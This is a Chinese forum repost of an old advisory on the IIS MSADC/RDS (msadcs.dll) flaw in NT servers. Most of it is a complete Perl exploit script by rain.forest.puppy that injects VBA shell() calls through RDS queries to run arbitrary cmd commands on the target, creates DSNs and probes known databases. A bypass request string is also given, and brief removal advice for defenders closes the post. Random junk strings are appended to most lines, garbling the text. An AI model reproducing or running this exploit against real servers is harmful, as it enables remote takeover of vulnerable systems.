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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) P26YJMJ'  
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涉及程序: XLFo"f  
Microsoft NT server vLh,dzuo  
x2z%J,z@4  
描述: cz$q~)I$  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \"mL LnK?  
TYgn X  
详细: }t.VH:02y  
如果你没有时间读详细内容的话,就删除: <{Ir',;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Z sbE  
有关的安全问题就没有了。 IF.6sJg:  
 JS!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;PhX[y^*  
}5sJd>u5^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 V7i1BR8G  
关于利用ODBC远程漏洞的描述,请参看: 7I<];j  
j%OnLTZ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I4^}C;p0?  
qlfYX8edZ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6z80Y*|eJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp \~bE|jWbj  
ok7yFm1\  
这里不再论述。 *,d>(\&[f  
6v}WdK  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^gD%#3>X  
VwV`tKit  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset FGG 7;0(  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! F,-S&d  
QBiLH]qa  
yp:_W@  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0qrsf!  
G(XI TL u*  
#!perl -O-qEQd  
# *PjW,   
# MSADC/RDS 'usage' (aka exploit) script ;Y>cegG\  
# `+/xA\X]  
# by rain.forest.puppy "' hc)58y  
# v"&Fj  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me aGY F\7  
# beta test and find errors! j7)Xm,wI8  
U ExK|t  
use Socket; use Getopt::Std; =@d IM  
getopts("e:vd:h:XR", \%args); &[hq !v  
1wpeYn7>W  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; N3Jfp3_b@  
t%n3~i4X:  
if (!defined $args{h} && !defined $args{R}) { [fU2$(mT+  
print qq~ \e/'d~F  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 8U07]=Bt<  
-h <host> = host you want to scan (ip or domain) jtk2>Ol   
-d <seconds> = delay between calls, default 1 second 5Q.bwl:  
-X = dump Index Server path table, if available 4u zyU_  
-v = verbose bS+by'Ea1W  
-e = external dictionary file for step 5 EQkv&k5X  
Jk)^6  
Or a -R will resume a command session z Lw=*  
&Oq& ikw  
~; exit;} + (cTzY  
9LkP*$2"M<  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; uOqWMRsoi  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} MEQ :[;1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  @t  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3+;}2x0-F  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 9'I I!  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } p AzPi  
<aR8fU  
if (!defined $args{R}){ $ret = &has_msadc; N4%q-fi  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g(\FG  
Dq!Vo;s2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Y#_,Ig5.  
. "cmd /c "; `?Yh`P0  
$in=<STDIN>; chomp $in; T1p A <6  
$command="cmd /c " . $in ; {|%N  
j5ZeYcQ-  
if (defined $args{R}) {&load; exit;} Ctxs]S tU%  
bmotR8d  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]k%Yz@*S  
&try_btcustmr; zxtx~XO  
Vt:]D?\3  
print "\nStep 2: Trying to make our own DSN..."; -y{o@  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; yAoJ?<4^W  
edqekjh  
print "\nStep 3: Trying known DSNs..."; Efb>ZQ  
&known_dsn; tm~V+t!mj  
4!<8Dd  
print "\nStep 4: Trying known .mdbs..."; 2l#Ogn`k  
&known_mdb; \iAkF`OC  
ewqfs/  
if (defined $args{e}){ FW:x XK  
print "\nStep 5: Trying dictionary of DSN names..."; _PrK6M@"L  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } C`3}7qi|C  
I|JMkP  
print "Sorry Charley...maybe next time?\n"; 5 fjeBfy  
exit; ci>+Zi6  
6)m}e?D>  
############################################################################## Y25S:XHk9  
U(DK~#}  
sub sendraw { # ripped and modded from whisker jQzq(oDQw  
sleep($delay); # it's a DoS on the server! At least on mine... GFOd9=[  
my ($pstr)=@_; ywpk\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || kJqgY|  
die("Socket problems\n"); [!4p5;  
if(connect(S,pack "SnA4x8",2,80,$target)){ NH$a:>  
select(S); $|=1; zR(}X8fP  
print $pstr; my @in=<S>; @.T '>;izr  
select(STDOUT); close(S); wp`a:QZ8N  
return @in; 9hEIf,\  
} else { die("Can't connect...\n"); }} Yjv}@i"  
Y~vI@$<~(  
############################################################################## Rz1&(_Ps  
EAU6z(X$  
sub make_header { # make the HTTP request LFob1HH*8  
my $msadc=<<EOT VS<E?JnbFV  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 s@K)RhTY  
User-Agent: ACTIVEDATA T>s~bIzL*e  
Host: $ip "tB"C6b  
Content-Length: $clen r7/y'Y]O  
Connection: Keep-Alive Vu0jNKUV  
PI(;t9]b  
ADCClientVersion:01.06 _eM\ /(v[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %mPIr4$Pg  
-?`^^ v  
--!ADM!ROX!YOUR!WORLD! "S.5_@?  
Content-Type: application/x-varg J`a$"G B.  
Content-Length: $reqlen nIJ2*QJ  
.5'M^  
EOT ya3A^&:  
; $msadc=~s/\n/\r\n/g; PjNOeI@G  
return $msadc;} I}Uj"m`>  
"hi?/B#d  
############################################################################## yKF"\^`@  
0]=|3-n  
sub make_req { # make the RDS request p 9Zi}!  
my ($switch, $p1, $p2)=@_; j'FSd*5m  
my $req=""; my $t1, $t2, $query, $dsn; a]-F,MJ  
ec+&K?T  
if ($switch==1){ # this is the btcustmr.mdb query  u)PB@  
$query="Select * from Customers where City=" . make_shell(); ?U.+SQ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . NpqMdd   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;QkUW<(  
.Nz2K[  
elsif ($switch==2){ # this is general make table query reJw&t}Q  
$query="create table AZZ (B int, C varchar(10))"; 8)HUo?/3  
$dsn="$p1";} ,%7>%*nhk  
]:jP*0bLx  
elsif ($switch==3){ # this is general exploit table query ZN#mu]jC?  
$query="select * from AZZ where C=" . make_shell(); 7{>mm$^|V  
$dsn="$p1";} AL@8v=  
I WKq_Zjkz  
elsif ($switch==4){ # attempt to hork file info from index server 9`  
$query="select path from scope()"; w%F~4|F  
$dsn="Provider=MSIDXS;";} b>SG5EqU@  
 @v &hr  
elsif ($switch==5){ # bad query x9Um4!/t  
$query="select"; 3gtQS3$4s  
$dsn="$p1";} XE8>& & X  
ChzKwYDY  
$t1= make_unicode($query); a!rU+hiC  
$t2= make_unicode($dsn); /vC|_G|{  
$req = "\x02\x00\x03\x00"; Ahl-EVIr<  
$req.= "\x08\x00" . pack ("S1", length($t1)); vpnQs#8O  
$req.= "\x00\x00" . $t1 ; Nki08qZ[  
$req.= "\x08\x00" . pack ("S1", length($t2)); (%.[MilxPM  
$req.= "\x00\x00" . $t2 ; N?7MYP  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 7[=*#7}.  
return $req;} %L(;}sJ.  
&h^E_]P  
############################################################################## Bv-|#sdxm  
\cJ?2^Eq  
sub make_shell { # this makes the shell() statement -;]m4R)z  
return "'|shell(\"$command\")|'";} ybk~m  
6L5j  
############################################################################## jlaU3qXL  
k*XI/k5Vc  
sub make_unicode { # quick little function to convert to unicode 9O(vh(C  
my ($in)=@_; my $out; yC#%fgQ r  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } T($d3Nn1  
return $out;} 3 s%Kw,z  
Vx'82CIC  
############################################################################## aE aU_f /  
3an9Rb V  
sub rdo_success { # checks for RDO return success (this is kludge) %vF,wQC  
my (@in) = @_; my $base=content_start(@in); .M(')$\U  
if($in[$base]=~/multipart\/mixed/){ Oly"ll*K  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Nk JOD3>U  
return 0;} f6/<lSoW  
zEM  c)  
############################################################################## <O<Kf:i&c1  
t)qu@m?FZ)  
sub make_dsn { # this makes a DSN for us y5@#le M  
my @drives=("c","d","e","f"); t+9[ki  
print "\nMaking DSN: "; # <?igtUO  
foreach $drive (@drives) { .4CCR[Het  
print "$drive: "; 8-#_xsZ^;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ;*{"|l qe  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" T'^ Do/  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); L<D<3g|4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?.{SYaS  
return 0 if $2 eq "404"; # not found/doesn't exist =Ff _)k  
if($2 eq "200") { UY5wef2sF  
foreach $line (@results) { EKgY  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Ppton+?(  
} return 0;} :?!b\LJ2^  
$.+_f,tU  
############################################################################## )k^y<lC2a  
`{KdmWhW  
sub verify_exists { y:HH@aa)  
my ($page)=@_; 1G'D'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); s' 4O] k`  
return $results[0];} W(jOD,QMB  
1a gNwFd~  
############################################################################## P:#KBF;a  
u~xfI[8C  
sub try_btcustmr { +dG3/vV  
my @drives=("c","d","e","f"); .vnQZ*6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _j\GA6  
A.9ZFFz  
foreach $dir (@dirs) { @=ro/.  
print "$dir -> "; # fun status so you can see progress U-*`I?~=4  
foreach $drive (@drives) { ;7>k[?'e  
print "$drive: "; # ditto un F=";9H  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; drQI@sPp  
$reqlenlen=length( "$reqlen" ); ^`S.Mw.  
$clen= 206 + $reqlenlen + $reqlen; :Ahw{z`H#  
$L4h'(s  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); /jl/SV+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} s'^sT=b  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} } *jmW P  
4KX\'K  
############################################################################## `m`Y3I  
(PC)R9r5  
sub odbc_error { :V0sKg|sS  
my (@in)=@_; my $base; z*)kK  
my $base = content_start(@in); *.6m,QqJ(  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this MW2{w<-]7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C"QB`f:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sOO_J!bblP  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8AJ#].q0F  
return $in[$base+4].$in[$base+5].$in[$base+6];} e-Z ul.m  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7Ucq(,\./  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ?[=OQ/E  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} gW-mXb  
!C@+CZXLx  
############################################################################## n%6ba77  
|va^lT  
sub verbose {  5]*!N  
my ($in)=@_; #}lWM%9Dy  
return if !$verbose; Qd/x{a8  
print STDOUT "\n$in\n";} aL&nD1f=!-  
>QdT 7gB  
############################################################################## l<;~sag  
w$Z%RF'p  
sub save { )x<BeD  
my ($p1, $p2, $p3, $p4)=@_; r=/$}l4  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; NX5$x/uz  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )O2IEwPd.  
close OUT;} }]Nt:_UCX  
J |w%n5Y  
############################################################################## )nGH$Mu  
Ae%AG@L  
sub load { fDRG+/q(+  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; "d`u#YmR  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); cua( w  
@p=<IN>; close(IN); -ykD/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); =!G{+&j  
$target= inet_aton($ip) || die("inet_aton problems"); n]6-`fpD  
print "Resuming to $ip ..."; ?./%7v  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; +KaVvf  
if($p[1]==1) { $AizKiV  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; (*_lLM@Cd  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8Wo!NG:V5  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); _'4S1  
if (rdo_success(@results)){print "Success!\n";} ,pY:kQ  
else { print "failed\n"; verbose(odbc_error(@results));}} ]:;dJc'  
elsif ($p[1]==3){ G)q;)n;*=  
if(run_query("$p[3]")){ ~6K.5t7  
print "Success!\n";} else { print "failed\n"; }} ~uV(/?o%  
elsif ($p[1]==4){ JLt%G^W >  
if(run_query($drvst . "$p[3]")){ Z6-ZAS(>m  
print "Success!\n"; } else { print "failed\n"; }} ^ FM  
exit;} :G#+ 5 }  
_Ie:!q  
############################################################################## UmArl)R/  
?\)h2oi!F5  
sub create_table { _u'y7-  
my ($in)=@_; pSI8"GwQ  
$reqlen=length( make_req(2,$in,"") ) - 28; nEPTTp+B  
$reqlenlen=length( "$reqlen" ); S{3c}>n  
$clen= 206 + $reqlenlen + $reqlen; !??g:2  
my @results=sendraw(make_header() . make_req(2,$in,"")); wFMw&=j  
return 1 if rdo_success(@results); "LSzF_mK  
my $temp= odbc_error(@results); verbose($temp); &po!X )  
return 1 if $temp=~/Table 'AZZ' already exists/; ];jp)P2o  
return 0;} :wN !E{0j  
C#4_`4{  
############################################################################## ~L>86/hP,N  
6B*#D.fd*  
sub known_dsn { CxN xb)c &  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go T:Ovh.$  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", AW E ab  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", rL&Mq}7QK  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ?D6|~k i  
nMZ)x-  
foreach $dSn (@dsns) { 5KDCmw  
print "."; YRCs&tgs  
next if (!is_access("DSN=$dSn")); gWoUE7.3`  
if(create_table("DSN=$dSn")){ U$<" . q  
print "$dSn successful\n"; u>G9r#~`k  
if(run_query("DSN=$dSn")){ 7(oA(l1V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sei2\l8q  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "wuO[c&%/  
R&BWCC{  
############################################################################## [0hahR  
E4>}O;m0  
sub is_access { O`@- b#  
my ($in)=@_; > <Zu+HX  
$reqlen=length( make_req(5,$in,"") ) - 28; tXH;4K@  
$reqlenlen=length( "$reqlen" ); |q 8N$m  
$clen= 206 + $reqlenlen + $reqlen; ]@b9m  
my @results=sendraw(make_header() . make_req(5,$in,"")); 2%L`b"9}V  
my $temp= odbc_error(@results); G}^=(,jl  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Lt=32SvTn  
return 0;}  qT!lq  
l_yF;5|?z  
############################################################################## Nh_\{ &r  
7s#8-i  
sub run_query { xO Aq!,|V  
my ($in)=@_; 1:<(Q2X%  
$reqlen=length( make_req(3,$in,"") ) - 28; ]K*R[  
$reqlenlen=length( "$reqlen" ); U1X"UN)  
$clen= 206 + $reqlenlen + $reqlen; abm 3q!a-  
my @results=sendraw(make_header() . make_req(3,$in,"")); 83SK<V6  
return 1 if rdo_success(@results); TH'8^wf  
my $temp= odbc_error(@results); verbose($temp); Ie!&FQe2q  
return 0;} kHylg{i{"  
pCrm `hy(  
############################################################################## "mQcc }8  
A8{ xZsH  
sub known_mdb { j&_>_*.y  
my @drives=("c","d","e","f","g");  +:-xV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 77yYdil^W+  
my $dir, $drive, $mdb; 2/fol TR7  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7xv9v1['  
g:a[N%[C  
# this is sparse, because I don't know of many v-d"dC`  
my @sysmdbs=( "\\catroot\\icatalog.mdb", E V)H>kM  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", gqy>;A:kO  
"\\system32\\certmdb.mdb", H"8B4~*7H  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% *2->>"kh  
vm_]X{80;  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", [B+F}Q^;  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1x;@BV  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", m^!j)\sM5  
"\\cfusion\\cfapps\\security\\realm_.mdb", <tF q^qB  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 1:](=%oM&k  
"\\cfusion\\database\\cfexamples.mdb", ~Yi4?B<  
"\\cfusion\\database\\cfsnippets.mdb", ~Jr'4%   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Cm)TFh6  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {qi #  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ^ExuIe  
"\\cfusion\\database\\smpolicy.mdb", (b//YyqN  
"\\cfusion\\database\cypress.mdb", W j^@Zq#  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", BLt58LYGX  
"\\website\\cgi-win\\dbsample.mdb", sV,Yz3E<u$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", bRy(`  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" >_ZEQC  
); #these are just 5)T[ha77u  
foreach $drive (@drives) { 7)jN:+4N  
foreach $dir (@dirs){ 6384$mT,S  
foreach $mdb (@sysmdbs) { sIf]e'@AC  
print "."; 3`%E;?2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ RVttk )Ny  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Y Z+G7D>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ O[t?*m1/  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; )~=8Ssu  
} else { print "Something's borked. Use verbose next time\n"; }}}}} E#:!&{O  
r YKGX?y  
foreach $drive (@drives) { ydYsmTr  
foreach $mdb (@mdbs) { j AOy3c  
print "."; 5aW#zgxXg  
if(create_table($drv . $drive . $dir . $mdb)){ 1m"WrTen  
print "\n" . $drive . $dir . $mdb . " successful\n"; y*+8Z&i.:  
if(run_query($drv . $drive . $dir . $mdb)){ ik o>G  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; "NLuAB. P  
} else { print "Something's borked. Use verbose next time\n"; }}}} s=(q#Z  
} v:4j 3J$z  
 FNH)wk  
############################################################################## -_t4A *  
N s0,Z#Z+  
sub hork_idx { 0}NDi|o  
print "\nAttempting to dump Index Server tables...\n"; {Z8GG  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ?g4Rk9<!i  
$reqlen=length( make_req(4,"","") ) - 28; NJsaTBT  
$reqlenlen=length( "$reqlen" ); :VP4:J^  
$clen= 206 + $reqlenlen + $reqlen; WyatHC   
my @results=sendraw2(make_header() . make_req(4,"","")); G4SA u  
if (rdo_success(@results)){ rHw#<oV  
my $max=@results; my $c; my %d; P'tXG  
for($c=19; $c<$max; $c++){ 4Z%1eOR9V  
$results[$c]=~s/\x00//g; p%mHxYP  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 5Z_C (5)/Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; k5aB|xo  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \h=*pAf  
$d{"$1$2"}="";} RR[zvH} E  
foreach $c (keys %d){ print "$c\n"; } E&kv4,  
} else {print "Index server doesn't seem to be installed.\n"; }} &^#iS<s1  
* rlV E  
############################################################################## aBReIK o  
I?PqWG!O  
sub dsn_dict { P#V!hfM  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ?lD)J?j  
while(<IN>){ VrPsy) J68  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Z C01MDIY  
next if (!is_access("DSN=$dSn")); SZe55mK`  
if(create_table("DSN=$dSn")){ *h0D,O"0  
print "$dSn successful\n"; k/{WlLN  
if(run_query("DSN=$dSn")){ 1}la)lC  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *V',@NH#Os  
print "Something's borked. Use verbose next time\n";}}} axUj3J>  
print "\n"; close(IN);} 7u&l]NC?y  
Nf!N;Cy?  
############################################################################## *tj(,:!  
7s6+I_n  
sub sendraw2 { # ripped and modded from whisker Z}!'fX."  
sleep($delay); # it's a DoS on the server! At least on mine... ].xSX0YQ%  
my ($pstr)=@_; -W^{)%4g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || R]%"YQ V  
die("Socket problems\n"); 03 gbcNo  
if(connect(S,pack "SnA4x8",2,80,$target)){ EP@u4F  
print "Connected. Getting data"; WcqR; Nm  
open(OUT,">raw.out"); my @in; n-8/CBEH(  
select(S); $|=1; print $pstr;  Ll; v[Y  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} w~v6=^  
close(OUT); select(STDOUT); close(S); return @in; w*XM*yJHU  
} else { die("Can't connect...\n"); }} fB9,# F  
&v .S_Ym  
############################################################################## Ty&1R?  
8%B_nVc  
sub content_start { # this will take in the server headers +'g O%^{l  
my (@in)=@_; my $c; 5@>hjXi"Y  
for ($c=1;$c<500;$c++) { zs]ubJC@  
if($in[$c] =~/^\x0d\x0a/){ \u`P(fI!K%  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } $,by!w'e:l  
else { return $c+1; }}} xK_UkB-$i  
return -1;} # it should never get here actually ^/E'Rf3[A  
95#]6*#[4!  
############################################################################## 0=HB!{ @  
HI|egf@  
sub funky { :Y/aT[  
my (@in)=@_; my $error=odbc_error(@in); q]: 72+  
if($error=~/ADO could not find the specified provider/){ A)9]^@,  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; c\o_U9=n  
exit;} ek5j;%~g1  
if($error=~/A Handler is required/){ E7h@Y~bNhW  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;C*2Djb*n  
exit;} a7_Q8iMe  
if($error=~/specified Handler has denied Access/){ ]~  N.  
print "\nServer has custom handler filters (they most likely are patched)\n";  =AaF$R  
exit;}} ]vcT2lr]  
qdk!.A{   
############################################################################## FDuA5At  
X n0HJ^"_  
sub has_msadc { /z^v% l  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); vh2/d.MO  
my $base=content_start(@results); .sit5BX  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); !2AD/dtt   
return 0;} OF1^_s;  
[YlRz  
######################## _^{RtP#=  
9mtndTT 5u  
#QlxEs#%  
解决方案: qYe`</  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Se[=$W  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 yWc%z6dXC  
dXn$XGF%R  
拿出来充数 哈哈
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